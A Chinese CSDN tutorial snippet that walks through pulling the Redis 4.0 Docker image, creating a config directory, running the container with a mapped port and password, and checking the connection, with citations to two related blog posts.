    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Docker Redis 4.0是通过Docker容器运行Redis 4.0版本的一个实例。以下是安装和使用Docker Redis 4.0的步骤: 1. 首先,您需要通过Docker命令查询Redis 4.0镜像并将其拉取到本地系统中。可以使用以下命令执行这一步骤: `docker search redis` `docker pull redis:4.0` 2. 下一步是创建一个目录,并在其中创建一个名为redis.conf的配置文件。如果您不手动创建该文件,Docker在运行时将自动创建一个目录,但没有配置文件。可以使用以下命令执行这一步骤: `mkdir -p /usr/local/redis/conf` `cd /usr/local/redis/conf` `touch redis.conf` 3. 然后,您需要启动容器来运行Redis 4.0实例。在这个例子中,我们使用的端口号是16379,您可以根据需要修改为常用的6379端口。可以使用以下命令执行这一步骤: `docker run -p 16379:6379 --name redis4_0_11 --privileged=true -v /usr/local/redis/data:/data -v /usr/local/redis/conf/redis.conf:/etc/redis/redis.conf -d redis:4.0.11 redis-server /etc/redis/redis.conf --requirepass "123456" --appendonly yes` 4. 当容器成功启动后,您可以使用以下命令来查看Docker容器的状态: `docker ps -a` 5. 最后,您可以使用Redis Desktop Manager或其他工具来测试与Docker Redis 4.0的连接。确保连接正常后,您就可以开始使用Redis 4.0了。 请注意,上述步骤中的命令可能需要根据您的实际情况进行调整,例如目录路径或容器名称等。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [Docker——Docker安装Redis4.0](https://blog.csdn.net/weixin_43835659/article/details/103910746)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [基于docker的redis4.0单机集群搭建](https://blog.csdn.net/qq_34341457/article/details/103801238)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XMYX-0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值